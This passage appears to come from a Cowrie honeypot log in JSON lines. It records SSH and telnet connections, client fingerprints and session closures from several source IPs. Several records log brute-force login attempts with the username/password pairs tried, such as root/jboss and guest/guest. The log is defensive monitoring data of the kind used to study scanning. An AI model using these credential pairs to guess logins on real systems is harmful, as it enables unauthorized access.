-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:49.467794Z","src_ip":"141.11.88.14","session":"2f2a00e68ae2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"budda","password":"QWE+df1df","message":"login attempt [budda/QWE+df1df] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:51.288323Z","src_ip":"141.11.88.14","session":"2f2a00e68ae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:52.652344Z","src_ip":"141.11.88.14","session":"2f2a00e68ae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.637757301330566,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:54.845638Z","src_ip":"128.199.8.54","session":"8e565cab7f81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62402,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc9b1d38b63b","protocol":"ssh","message":"New connection: 141.11.88.14:62402 (10.17.0.5:22) [session: fc9b1d38b63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:58.568431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:58.658856Z","src_ip":"141.11.88.14","session":"fc9b1d38b63b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:58.662361Z","src_ip":"141.11.88.14","session":"fc9b1d38b63b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5835,"dst_ip":"10.17.0.5","dst_port":22,"session":"4014035deff6","protocol":"ssh","message":"New connection: 196.188.93.169:5835 (10.17.0.5:22) [session: 4014035deff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:58.730307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:58.735022Z","src_ip":"196.188.93.169","session":"4014035deff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:58.909144Z","src_ip":"196.188.93.169","session":"4014035deff6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:59.206144Z","src_ip":"141.11.88.14","session":"fc9b1d38b63b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer-1234","message":"login attempt [root/Qwer-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:20:59.640794Z","src_ip":"196.188.93.169","session":"4014035deff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:00.535231Z","src_ip":"141.11.88.14","session":"fc9b1d38b63b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:00.817269Z","src_ip":"196.188.93.169","session":"4014035deff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":51690,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f03eb04ad6e","protocol":"ssh","message":"New connection: 193.37.70.224:51690 (10.17.0.5:22) [session: 9f03eb04ad6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:01.270771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:01.274764Z","src_ip":"193.37.70.224","session":"9f03eb04ad6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:01.370724Z","src_ip":"193.37.70.224","session":"9f03eb04ad6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marina1991","message":"login attempt [root/marina1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:01.652845Z","src_ip":"193.37.70.224","session":"9f03eb04ad6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:02.752537Z","src_ip":"193.37.70.224","session":"9f03eb04ad6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62440,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa95f554299a","protocol":"ssh","message":"New connection: 141.11.88.14:62440 (10.17.0.5:22) [session: aa95f554299a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:06.287619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:06.683642Z","src_ip":"141.11.88.14","session":"aa95f554299a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:06.687180Z","src_ip":"141.11.88.14","session":"aa95f554299a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jboss","message":"login attempt [root/jboss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:07.673061Z","src_ip":"141.11.88.14","session":"aa95f554299a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37062,"dst_ip":"159.203.135.109","dst_port":23,"session":"05a70d644dcc","protocol":"telnet","message":"New connection: 172.81.62.90:37062 (159.203.135.109:23) [session: 05a70d644dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:08.640832Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:08.896310Z","src_ip":"141.11.88.14","session":"aa95f554299a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59662,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7da87d695ae","protocol":"telnet","message":"New connection: 128.199.8.54:59662 (159.203.135.109:23) [session: b7da87d695ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:09.246659Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":25052,"dst_ip":"10.17.0.5","dst_port":22,"session":"251a079ebad9","protocol":"ssh","message":"New connection: 141.11.88.14:25052 (10.17.0.5:22) [session: 251a079ebad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:14.185737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:14.295322Z","src_ip":"141.11.88.14","session":"251a079ebad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:14.298967Z","src_ip":"141.11.88.14","session":"251a079ebad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:15.343169Z","src_ip":"141.11.88.14","session":"251a079ebad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:16.490187Z","src_ip":"141.11.88.14","session":"251a079ebad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27036,"dst_ip":"10.17.0.5","dst_port":22,"session":"b35a7b801bc4","protocol":"ssh","message":"New connection: 141.11.88.14:27036 (10.17.0.5:22) [session: b35a7b801bc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:22.051392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:22.767343Z","src_ip":"141.11.88.14","session":"b35a7b801bc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:22.770932Z","src_ip":"141.11.88.14","session":"b35a7b801bc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:23.972298Z","src_ip":"141.11.88.14","session":"b35a7b801bc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:25.265213Z","src_ip":"141.11.88.14","session":"b35a7b801bc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":9716,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3ae31524852","protocol":"ssh","message":"New connection: 36.92.41.115:9716 (10.17.0.5:22) [session: c3ae31524852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:26.816871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:26.823087Z","src_ip":"36.92.41.115","session":"c3ae31524852","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:27.081323Z","src_ip":"36.92.41.115","session":"c3ae31524852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"paid","password":"paid","message":"login attempt [paid/paid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:28.151299Z","src_ip":"36.92.41.115","session":"c3ae31524852","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":35984,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a6c2487bfe5","protocol":"ssh","message":"New connection: 141.11.88.14:35984 (10.17.0.5:22) [session: 0a6c2487bfe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:29.241318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:29.312263Z","src_ip":"141.11.88.14","session":"0a6c2487bfe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:29.392562Z","src_ip":"141.11.88.14","session":"0a6c2487bfe5","protocol":"ssh"}
